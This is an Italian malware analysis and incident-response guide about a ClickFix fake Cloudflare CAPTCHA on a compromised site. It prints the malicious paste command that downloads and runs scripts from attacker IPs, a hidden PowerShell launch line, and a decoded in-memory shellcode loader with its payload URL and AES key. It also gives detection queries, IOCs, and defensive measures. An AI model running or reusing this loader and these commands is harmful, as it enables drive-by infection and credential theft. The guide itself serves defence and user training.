Analisi di un caso reale: un sito legittimo compromesso mostra una finta verifica Cloudflare che convince l'utente a incollare un comando nel computer. Cosa fa il malware passo per passo, come lo ha fermato l'EDR, come gestire l'incidente e come riconoscere e prevenire questo attacco
Un utente apre un sito web italiano del tutto legittimo, che però è stato compromesso. Al posto della pagina compare una verifica "Sono un essere umano" con il logo Cloudflare, che chiede di premere WIN+R, aprire il prompt dei comandi e incollare un testo con CTRL+V. L'utente esegue e, senza saperlo, avvia un loader PowerShell che scarica ed esegue in memoria un malware. Questa tecnica si chiama ClickFix (o fake CAPTCHA) ed è oggi uno dei metodi più usati per distribuire malware che rubano credenziali (infostealer).
Questa guida ricostruisce l'incidente con le evidenze raccolte: la pagina malevola, il comando eseguito, lo script decodificato livello per livello e il rilevamento di CrowdStrike Falcon. Nella seconda parte trovi la procedura di risposta all'incidente e le contromisure, tecniche e formative.
⛔ Nessun captcha legittimo ti chiede di eseguire comandi
Cloudflare, Google e qualunque altro servizio di verifica funzionano solo dentro il browser: al massimo chiedono un clic o di selezionare delle immagini. Se una pagina ti chiede di premere WIN+R, aprire il prompt dei comandi, PowerShell o il terminale e incollare qualcosa, è sempre un attacco. Chiudi la pagina e avvisa il reparto IT.
Indicatori e comandi presenti in questa guida sono riportati solo a scopo di analisi e difesa. Non eseguire mai i comandi malevoli mostrati: sono riportati esattamente come li usano gli attaccanti.
Indice
- 1. Cosa è successo
- 2. La catena d'attacco in sintesi
- 3. La finta verifica Cloudflare
- 4. Il comando incollato dall'utente
- 5. Analisi dello script PowerShell
- 6. Perché analizzare il sito dal browser inganna
- 7. Il blocco di CrowdStrike Falcon
- 8. Cosa può aver rubato
- 9. Risposta all'incidente
- 10. Come riconoscere la minaccia
- 11. Come difendersi: contromisure tecniche
- 12. Indicatori di compromissione (IOC)
- 13. Riepilogo e scenari
1. Cosa è successo
Gli attaccanti hanno inserito del codice malevolo in un sito legittimo. Il codice non mostra la stessa pagina a tutti: in base a dispositivo, sistema operativo e provenienza, il visitatore viene mandato su contenuti diversi. Chi arriva da un PC Windows riceve la finta verifica Cloudflare, ospitata su un dominio dell'attaccante; chi arriva da smartphone finisce su una pagina pubblicitaria truffaldina (una "ruota della fortuna" di un casinò online).
| Aspetto | Dettaglio |
|---|---|
| Vettore iniziale | Sito web italiano legittimo compromesso |
| Tecnica | ClickFix: finta verifica Cloudflare con istruzioni da eseguire sulla tastiera |
| Pagina malevola | wkzon.datadevfuture.buzz |
| Azione dell'utente | WIN+R → cmd → CTRL+V → Invio |
| Payload sul disco | Due file in %TEMP%: un TXT con la riga di avvio e uno script PowerShell offuscato (Z828.ps1) |
| Payload finale | Shellcode cifrato scaricato da 89.23.107.196 ed eseguito solo in memoria |
| Rilevamento | CrowdStrike Falcon, IOA PShellAmsi, processo PowerShell terminato dopo circa 2 secondi |
| Privilegi dell'utente | Utente standard, non amministratore locale |
2. La catena d'attacco in sintesi
- L'utente visita il sito compromesso con un PC Windows e viene reindirizzato alla finta pagina Cloudflare.
- Cliccando la casella "Non sono un robot", la pagina copia di nascosto un comando negli appunti e mostra le istruzioni da seguire.
- L'utente apre il prompt dei comandi e incolla: il comando usa
curl.exeper scaricare in%TEMP%un file di testo e uno script PowerShell. - Il comando esegue la riga contenuta nel file di testo:
powershell.execon finestra nascosta, che avvia lo script. - Lo script si decodifica in memoria, mostra una finestra esca "Verifying you are human" e intanto scarica dal server
89.23.107.196un file cifrato. - Il file viene decifrato con AES e lo shellcode risultante viene iniettato ed eseguito nella memoria del processo PowerShell, senza scrivere nessun eseguibile su disco.
- CrowdStrike Falcon rileva il contenuto dello script tramite AMSI e termina il processo.
ℹ️ Perché funziona così bene
È l'utente stesso ad avviare il comando: non ci sono allegati, macro o vulnerabilità da sfruttare, e il browser non scarica nulla di sospetto. cmd.exe, curl.exe e powershell.exe sono strumenti legittimi di Windows (tecnica detta Living off the Land). Per questo molti antivirus tradizionali non bloccano i primi passaggi.
3. La finta verifica Cloudflare
La pagina imita in modo molto curato quella di Cloudflare: logo, scritta "cloudflare.com deve verificare la sicurezza della connessione", casella "Non sono un robot" e un ID di verifica. Nell'animazione seguente, registrata in un ambiente di analisi, si vede la sequenza completa: clic sulla casella, comparsa del riquadro "Verifica umana" con i quattro passaggi, e il comando che finisce nella finestra Esegui di Windows.

Il riquadro "Verifica umana" chiede di:
- premere WIN+R, che apre la finestra Esegui;
- scrivere
cmde premere Invio, che apre il prompt dei comandi; - premere CTRL+V, che incolla il comando già copiato dalla pagina;
- premere Invio, che lo esegue.

⚠️ Il contenuto degli appunti è invisibile
Il comando viene scritto negli appunti dal JavaScript della pagina nel momento del clic: l'utente non lo vede e non ha copiato nulla di sua iniziativa. Nella finestra Esegui o nel prompt il comando è lungo e inizia con una parte innocua (set "__VSCMD_WIN_64BIT=true", una variabile che ricorda Visual Studio), così la parte iniziale visibile non insospettisce.
4. Il comando incollato dall'utente
Questo è il comando che l'utente ha incollato nel prompt dei comandi (riportato solo per analisi, non eseguirlo):
set "__VSCMD_WIN_64BIT=true"&& cd %tmp%& curl.exe -sLo %tmp%\trancle.txt 2469256532/657&& curl.exe -sLo %tmp%\Z717.ps1 2469256532/656&& for /f "delims=" %i in (trancle.txt) do %i| Parte del comando | Cosa fa |
|---|---|
set "__VSCMD_WIN_64BIT=true" | Imposta una variabile inutile: serve solo a far sembrare il comando qualcosa di tecnico e innocuo |
cd %tmp% | Si sposta nella cartella temporanea dell'utente, scrivibile senza privilegi di amministratore |
2469256532 | È un indirizzo IP scritto in forma decimale: corrisponde a 147.45.221.84. Così l'indirizzo non è riconoscibile a colpo d'occhio e sfugge a filtri che cercano IP nel formato classico |
curl.exe -sLo … | Scarica in silenzio (-s), seguendo i redirect (-L), e salva su file (-o): /657 diventa un file di testo, /656 uno script PowerShell |
for /f "delims=" %i in (trancle.txt) do %i | Legge il file di testo riga per riga ed esegue ogni riga come comando |
Il file di testo contiene una sola riga, che avvia lo script PowerShell:
powershell.exe -w h -nop -ep bypass -File Z828.ps1-w h: finestra nascosta (WindowStyle Hidden), l'utente non vede nulla;-nop: non carica il profilo PowerShell dell'utente;-ep bypass: ignora la Execution Policy che normalmente impedirebbe l'esecuzione di script non firmati.
ℹ️ Nomi dei file diversi a ogni visita
Il comando recuperato dalla pagina scarica trancle.txt e Z717.ps1, mentre sul PC colpito sono stati trovati grande.txt e Z828.ps1. Il server genera nomi casuali a ogni visita: per la ricerca delle tracce conviene quindi cercare file .txt e .ps1 creati in %TEMP% nell'orario dell'incidente, non un nome preciso.
5. Analisi dello script PowerShell
Lo script Z828.ps1 pesa circa 570 KB ma contiene solo circa 25 KB di codice utile: il resto è offuscamento. È stato decodificato staticamente, cioè leggendone e traducendone il contenuto senza mai eseguirlo.
5.1 Livello 1: offuscamento con parole inglesi
Il codice vero è nascosto in una lunghissima stringa di parole inglesi senza senso. Lo script definisce un "alfabeto" di 16 parole: ognuna vale un numero da 0 a 15 (una cifra esadecimale). Le parole vengono lette a coppie, ogni coppia forma un byte, e i byte formano il testo del secondo script:
# Alfabeto: la posizione della parola nell'elenco è il suo valore (0-15)
$alfabeto = 'indolence nonchastisement jeopards professoress enlighteningly expects chalkstony ...'
$dati = 'chalkstony chalkstony coinhabitor expects chalkstony balneation ...' # ~575.000 caratteri
# Ogni coppia di parole = un byte (valore1 * 16 + valore2)
$byte[$i/2] = ($alto -shl 4) -bor $basso
$codice = [System.Text.Encoding]::UTF8.GetString($byte)
# Il testo ottenuto viene trasformato in codice ed eseguito
& ([ScriptBlock]::Create($codice))Anche i nomi delle funzioni sensibili sono nascosti: ScriptBlock e Create non compaiono mai in chiaro, ma sono ricostruiti da array di numeri a cui viene sommato un valore fisso (es. -39876 + 39959 = 83 = "S"). Lo stesso trucco è usato in tutto il secondo livello per nascondere stringhe come Add-Type o System.Net.WebClient.
💡 Perché usare parole inglesi
Una stringa lunga in Base64 o esadecimale è un classico segnale di malware e viene segnalata facilmente. Un testo di parole del dizionario ha invece un aspetto "naturale" e un'entropia bassa, che inganna alcuni controlli automatici. Quando però il codice decodificato viene passato a ScriptBlock.Create, Windows lo invia in chiaro ad AMSI (AntiMalware Scan Interface): è proprio lì che l'EDR lo ha intercettato (sezione 7).
5.2 Livello 2: la finestra esca
Il secondo livello per prima cosa mostra una finestra grafica (WPF) senza bordi, intitolata "CloudTrust Auth", con la scritta Cloudflare – Verifying you are human. This may take a few seconds., una barra di avanzamento e un pulsante Verify. Serve a dare all'utente la sensazione che la verifica stia proseguendo normalmente, mentre in sottofondo avviene il resto.
La barra si riempie in circa 2–3 secondi (100 passi da 20 ms). Solo quando arriva al 100% viene chiamata la funzione che contiene la parte malevola, e il pulsante Verify diventa arancione e cliccabile. Cliccarlo chiude solo la finestra: il malware ormai è già in esecuzione.
5.3 Download, decifratura ed esecuzione in memoria
La funzione malevola è un classico shellcode loader. Questo è il codice decodificato, con i nomi delle variabili resi leggibili:
# 1. Dichiara le API di Windows necessarie (compilate al volo con Add-Type)
# VirtualAlloc, VirtualProtect, CreateThread, GetConsoleWindow, ShowWindow
Add-Type -TypeDefinition $codiceCSharp # classe TR1991
# 2. Nasconde la finestra della console
[TR1991]::ShowWindow([TR1991]::GetConsoleWindow(), 0)
# 3. Scarica il payload cifrato direttamente in memoria
$dati = (New-Object System.Net.WebClient).DownloadData('http://89.23.107.196/yrjrs/tdtd.bba')
# 4. Decifra con AES-256-CBC: i primi 16 byte sono l'IV, la chiave è nello script
$aes.Key = [Convert]::FromBase64String('AdbT2EEfUYbE4wEy0nqfkzLa2NHFEGz9wGcQqA0HkQI=')
$aes.IV = $dati[0..15]
$shellcode =
# 5. Alloca memoria, copia lo shellcode, la rende eseguibile e la avvia
$mem = [TR1991]::VirtualAlloc(0, $shellcode.Length, 0x3000, 0x04) # MEM_COMMIT|RESERVE, PAGE_READWRITE
[Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
[TR1991]::VirtualProtect($mem, $shellcode.Length, 0x40, [ref]$old) # PAGE_EXECUTE_READWRITE
[TR1991]::CreateThread(0, 0, $mem, 0, 0, [ref]$tid)
# 6. Resta in vita per sempre, così il thread del malware continua a girare
while($true){ Start-Sleep -Seconds 30 }Gli aspetti importanti dal punto di vista difensivo sono tre:
- Il payload non tocca mai il disco.
DownloadDatarestituisce i byte in una variabile, che vengono decifrati ed eseguiti in RAM. Non esiste un file.exeda trovare o da analizzare con l'antivirus, e il payload scompare quando il processo termina. - Il payload viaggia cifrato. Anche se scaricato in HTTP in chiaro, firewall e IPS vedono solo dati casuali: senza la chiave contenuta nello script non è riconoscibile.
- Il malware vive dentro
powershell.exe. Lo shellcode è un thread del processo PowerShell: se il processo viene terminato, termina anche il malware (a meno che nel frattempo non abbia già creato persistenza o si sia iniettato in un altro processo).
ℹ️ Loader, non malware finale
Lo script è solo il "corriere": il malware vero è il file tdtd.bba. Al momento dell'analisi il server rifiutava le connessioni, quindi non è stato possibile recuperarlo e identificarne la famiglia. Nelle campagne ClickFix il payload finale è quasi sempre un infostealer (es. Lumma, Vidar, StealC) o, più raramente, un accesso remoto (RAT).
6. Perché analizzare il sito dal browser inganna
Aprendo il sito compromesso dagli strumenti per sviluppatori del browser, con l'emulazione di uno smartphone Android, la finta verifica non compare: si viene invece rimandati a una pagina truffa di un casinò online.

È la tecnica del cloaking, gestita da un Traffic Distribution System (TDS): il codice malevolo controlla sistema operativo, dispositivo, paese, indirizzo IP e se il browser è automatizzato o ha i DevTools aperti, e decide cosa mostrare. Le pagine ClickFix vengono mostrate solo a chi può eseguire il comando, cioè a utenti Windows "veri". Ripetendo la visita, la catena di redirect passava da tracker pubblicitari e servizi anti-bot, che hanno bloccato la navigazione e mostrato un messaggio "Please close the DevTools panel before solving the captcha".

7. Il blocco di CrowdStrike Falcon
Sul PC era installato il sensore CrowdStrike Falcon, che ha generato una detection di gravità High:
| Campo | Valore |
|---|---|
| IOA name | PShellAmsi |
| Descrizione | A PowerShell script attempted to bypass Microsoft's AntiMalware Scan Interface (AMSI) |
| Tattica e tecnica MITRE ATT&CK | Execution – PowerShell (T1059.001) |
| Command line | powershell.exe -w h -nop -ep bypass -File Z828.ps1 |
| Azione | Operation blocked |
| Durata del processo | Circa 2 secondi (03:29:28 → 03:29:30) |
| Utente | Utente di dominio, non amministratore locale |
Il rilevamento è avvenuto sul contenuto dello script passato ad AMSI: un testo che dichiara VirtualAlloc, VirtualProtect e CreateThread per eseguire codice in memoria è un comportamento tipico dei loader. Falcon ha quindi terminato il processo PowerShell, e con esso l'eventuale shellcode in esecuzione.
⚠️ "Bloccato" non vuol dire "nessun danno"
I log del firewall hanno registrato una connessione dal PC verso 89.23.107.196: lo script è quindi arrivato almeno alla fase di download del payload prima di essere terminato. Il tempo a disposizione del malware è stato al massimo di uno o due secondi, ma alcuni infostealer in pochi secondi riescono a copiare i cookie e le password del browser. In assenza del payload e di prove contrarie, l'incidente va gestito come una possibile compromissione delle credenziali.
8. Cosa può aver rubato
Un infostealer tipico delle campagne ClickFix, in pochi secondi, raccoglie e invia al server dell'attaccante:
- password salvate nei browser (Chrome, Edge, Firefox…);
- cookie di sessione: permettono di entrare in Microsoft 365, Google, home banking e altri servizi senza password e senza MFA, finché la sessione resta valida;
- dati di compilazione automatica, carte di credito salvate;
- wallet di criptovalute ed estensioni wallet del browser;
- sessioni di Telegram, Discord, client FTP, VPN e password manager;
- file con estensioni interessanti (documenti, file di testo con password) presi dal desktop e dai documenti;
- informazioni sul sistema (nome host, utente, dominio, software installato, IP pubblico).
Le credenziali rubate vengono rivendute o usate rapidamente, spesso entro poche ore, per accedere alla posta aziendale, inviare phishing ai contatti o preparare attacchi più gravi come il ransomware.
9. Risposta all'incidente
Se un utente ha eseguito un comando di questo tipo, procedi in questo ordine.
1. Contenimento. Isola il PC dalla rete. Con CrowdStrike Falcon usa Network contain dalla scheda dell'host: il PC resta raggiungibile solo dalla console Falcon. In alternativa scollega il cavo e disattiva il Wi-Fi, ma non spegnere il PC se vuoi conservare le evidenze in memoria.
2. Credenziali e sessioni, da un altro dispositivo pulito:
- cambia la password dell'utente in Active Directory e in Microsoft 365;
- revoca le sessioni attive: in Entra ID, scheda dell'utente > Revoca sessioni (o
Revoke-MgUserSignInSession); - chiedi all'utente di cambiare tutte le password salvate nel browser, partendo da posta, banca e servizi aziendali;
- controlla in Exchange Online le regole di posta e gli inoltri appena creati, i metodi MFA registrati e i log di accesso da paesi o IP insoliti.
3. Ricostruzione e verifica. Nel process tree della detection in Falcon verifica i processi padre e figli (cmd.exe → curl.exe → powershell.exe), eventuali processi csc.exe generati da Add-Type, connessioni di rete e altre detection sull'host. Sul firewall cerca, dopo l'orario dell'incidente, connessioni del PC verso IP o domini sconosciuti, in particolare con molti dati in uscita: sono il segnale di un invio di dati rubati.
Sul PC puoi cercare gli script PowerShell eseguiti (se lo Script Block Logging è attivo, vedi sezione 11) e i file lasciati in %TEMP%:
# Script PowerShell con chiamate tipiche dei loader (evento 4104)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
Where-Object { $_.Message -match 'VirtualAlloc|CreateThread|DownloadData|ScriptBlock' } |
Select-Object TimeCreated, Id, @{n='Script';e={$_.Message.Substring(0,[Math]::Min(300,$_.Message.Length))}}
# File .ps1 e .txt creati di recente nella cartella temporanea dell'utente
Get-ChildItem "C:\Users\ \AppData\Local\Temp" -Include *.ps1,*.txt -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-2) } |
Select-Object FullName, CreationTime, Length
# Avvio automatico: chiavi Run dell'utente e attività pianificate recenti
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ScheduledTask | Where-Object { $_.Date -and [datetime]$_.Date -gt (Get-Date).AddDays(-2) }ℹ️ La chiave RunMRU non basta
La chiave HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU conserva i comandi digitati nella finestra Esegui ed è utile nelle varianti ClickFix in cui il comando viene incollato direttamente lì. In questa variante però nella finestra Esegui viene scritto solo cmd, e il comando vero viene incollato nel prompt: lo trovi solo nella telemetria dell'EDR o negli eventi di creazione processo (4688 con riga di comando, o Sysmon evento 1).
4. Pulizia. Elimina i file scaricati in %TEMP% dopo averne conservato una copia per l'analisi, e blocca sul firewall gli indirizzi della sezione 12. Se ci sono indizi che il payload sia stato eseguito (connessioni sospette successive, nuovi processi, persistenza), reinstalla il sistema: è l'unico modo per avere la certezza che sia pulito.
5. Segnalazione. Avvisa il gestore del sito compromesso, segnala gli indirizzi su servizi come AbuseIPDB e URLhaus e valuta con il DPO gli obblighi di notifica previsti dal GDPR se sono coinvolti dati personali.

10. Come riconoscere la minaccia
Questa sezione è pensata per gli utenti: condividila o usala nella formazione sulla sicurezza.
| Segnale | Perché è sospetto |
|---|---|
| Una verifica "Non sono un robot" chiede di premere WIN+R, WIN+X o di aprire il "Terminale" | Le verifiche vere avvengono solo nel browser. Nessuna chiede di usare la tastiera fuori dal browser |
| Ti viene chiesto di incollare qualcosa con CTRL+V che non hai copiato tu | La pagina ha scritto negli appunti un comando a tua insaputa |
| Istruzioni come "Premi Invio per completare la verifica" o "Esegui i passaggi sulla tua tastiera" | Servono a farti eseguire il comando senza leggerlo |
| Il dominio nella barra degli indirizzi non è quello del sito che stavi visitando | Cloudflare mostra le sue verifiche sul dominio del sito, non su domini come …datadevfuture.buzz |
| Un sito che conosci all'improvviso mostra verifiche o messaggi di errore mai visti | Anche siti legittimi e noti possono essere compromessi |
| Varianti: falso errore "Il documento non si apre, risolvi così", falso aggiornamento del browser, falsa videochiamata con "problema al microfono" | Stessa tecnica, scenario diverso: il punto in comune è sempre l'incolla ed esegui |
💡 La regola da ricordare
Mai incollare ed eseguire comandi suggeriti da una pagina web, un'e-mail o una chat. Se l'hai già fatto, non vergognarti: scollega il PC dalla rete e chiama subito l'IT. Pochi minuti di anticipo fanno una grande differenza, perché permettono di bloccare l'account prima che le credenziali vengano usate.
11. Come difendersi: contromisure tecniche
Nessuna misura da sola è sufficiente: le contromisure efficaci lavorano su più livelli.
Endpoint
- EDR con AMSI e blocco attivo: in questo caso è stato l'elemento decisivo. Verifica che le policy di prevenzione siano in modalità blocco e non solo di rilevamento.
- Utenti senza privilegi di amministratore: non impediscono questo attacco, ma limitano molto cosa il malware può fare (persistenza a livello di sistema, disattivazione delle difese, movimento laterale).
- Regole ASR di Microsoft Defender, in particolare Blocca l'esecuzione di script potenzialmente offuscati (GUID
5beb7efe-fd9a-4556-801d-275e5ffc04cc). - Limitare PowerShell per gli utenti che non ne hanno bisogno, con AppLocker o App Control for Business e il Constrained Language Mode, che impedisce l'uso di
Add-Typee delle API di Windows. - Disattivare la finestra Esegui per gli utenti standard con la GPO Configurazione utente > Modelli amministrativi > Menu Start e barra delle applicazioni > Rimuovi il menu Esegui dal menu Start, che disattiva anche WIN+R. È una misura drastica: valutala per postazioni che non ne hanno bisogno e ricorda che alcune varianti usano WIN+X o la barra degli indirizzi di Esplora file.
Visibilità: attiva lo Script Block Logging di PowerShell, che registra in chiaro (evento 4104) il codice eseguito anche quando è offuscato. Puoi farlo via GPO (Modelli amministrativi > Componenti di Windows > Windows PowerShell > Attiva registrazione blocchi di script) o da registro:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f
REM Registra anche la riga di comando negli eventi 4688 di creazione processo
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /fPer la seconda chiave serve anche che il criterio di controllo Controlla creazione processo sia attivo, altrimenti l'evento 4688 non viene generato.
Rete
- Filtro web e DNS che blocchi i domini appena registrati e le categorie Newly Observed / Malicious; valuta il blocco dei TLD a basso costo spesso abusati (es.
.buzz,.top,.xyz) se non servono all'attività. - Bloccare le connessioni HTTP verso indirizzi IP diretti (senza nome di dominio) dai client: il loader scaricava sia gli script sia il payload da IP "nudi".
- Profili antivirus e IPS sul firewall, con le firme aggiornate e la reputazione degli IP attiva.
- Controllo del traffico in uscita: i client dovrebbero uscire solo attraverso le policy previste, così che una connessione verso un server sconosciuto lasci traccia nei log o venga bloccata.
Identità: con l'accesso condizionale di Entra ID richiedi dispositivi conformi o gestiti per accedere ai dati aziendali, e preferisci metodi MFA resistenti al phishing. Riduci la durata delle sessioni e attiva, dove la licenza lo permette, la valutazione continua dell'accesso (CAE), così che un cookie rubato abbia un valore molto più basso.
Persone: la formazione è la difesa più efficace contro ClickFix, perché l'attacco funziona solo se l'utente esegue il comando. Mostra agli utenti esempi reali come le figure di questa guida e la regola della sezione 10.
12. Indicatori di compromissione (IOC)
| Tipo | Valore | Ruolo |
|---|---|---|
| Dominio | wkzon.datadevfuture.buzz | Pagina della finta verifica Cloudflare |
| IP | 147.45.221.84 (scritto 2469256532) | Server degli script, percorsi /656 e /657 |
| IP | 89.23.107.196 | Server del payload cifrato |
| URL | http://89.23.107.196/yrjrs/tdtd.bba | Payload (shellcode cifrato AES) |
| File | %TEMP%\*.txt + %TEMP%\Z???.ps1 (es. grande.txt, Z828.ps1, trancle.txt, Z717.ps1) | Riga di avvio e loader PowerShell |
| SHA256 | 080f8bea63c5b7a17150f54e7a3a32bdfb1abc10872dc3b75273b2e901fd0912 | Z828.ps1 |
| Chiave AES | AdbT2EEfUYbE4wEy0nqfkzLa2NHFEGz9wGcQqA0HkQI= | Decifratura del payload (AES-256-CBC, IV nei primi 16 byte) |
| Artefatti | Classe .NET TR1991, finestra WPF "CloudTrust Auth" | Tracce nella memoria e negli eventi 4104 |
| Riga di comando | powershell.exe -w h -nop -ep bypass -File Z*.ps1 con padre cmd.exe | Regola di ricerca per EDR e SIEM |
ℹ️ Gli IOC cambiano in fretta
Domini, IP e nomi dei file di queste campagne cambiano ogni pochi giorni. Bloccali, ma basa la difesa soprattutto sui comportamenti: cmd.exe che avvia curl.exe verso un IP e poi powershell.exe -ep bypass da %TEMP% è sospetto qualunque sia l'indirizzo usato.
13. Riepilogo e scenari
| Situazione | Cosa fare |
|---|---|
| L'utente ha visto la finta verifica ma non ha eseguito nulla | Chiudere la pagina, svuotare gli appunti, segnalare il sito; nessun intervento sul PC |
| L'utente ha incollato il comando, EDR ha bloccato e non c'è traffico verso il server del payload | Isolare per la verifica, ricostruire nel process tree, pulire %TEMP%, cambiare la password per prudenza |
| Bloccato dall'EDR, ma il firewall mostra la connessione al server del payload (questo caso) | Trattarlo come possibile furto di credenziali: password, revoca sessioni, password del browser, controllo posta e accessi (sezione 9) |
| Nessun EDR o nessun blocco, oppure connessioni sospette dopo l'esecuzione | Compromissione confermata: isolamento, reset di tutte le credenziali, analisi forense e reinstallazione del PC |
| Il sito compromesso è il tuo | Mettere il sito in manutenzione, cercare script iniettati in template e plugin, aggiornare CMS e plugin, cambiare tutte le password di amministrazione e hosting |
| Prevenzione | Formazione degli utenti, EDR in blocco, Script Block Logging, filtro DNS e web, utenti senza privilegi (sezione 11) |
⚠️ La lezione di questo caso
L'attacco non ha sfruttato nessuna vulnerabilità: tutti i passaggi sono stati eseguiti dall'utente con strumenti standard di Windows. Ha funzionato perché la pagina era convincente e l'utente non sapeva che una verifica "umana" non chiede mai di eseguire comandi. A limitare i danni sono stati un EDR configurato in blocco e un utente senza privilegi di amministratore: due misure che vale la pena verificare su tutte le postazioni.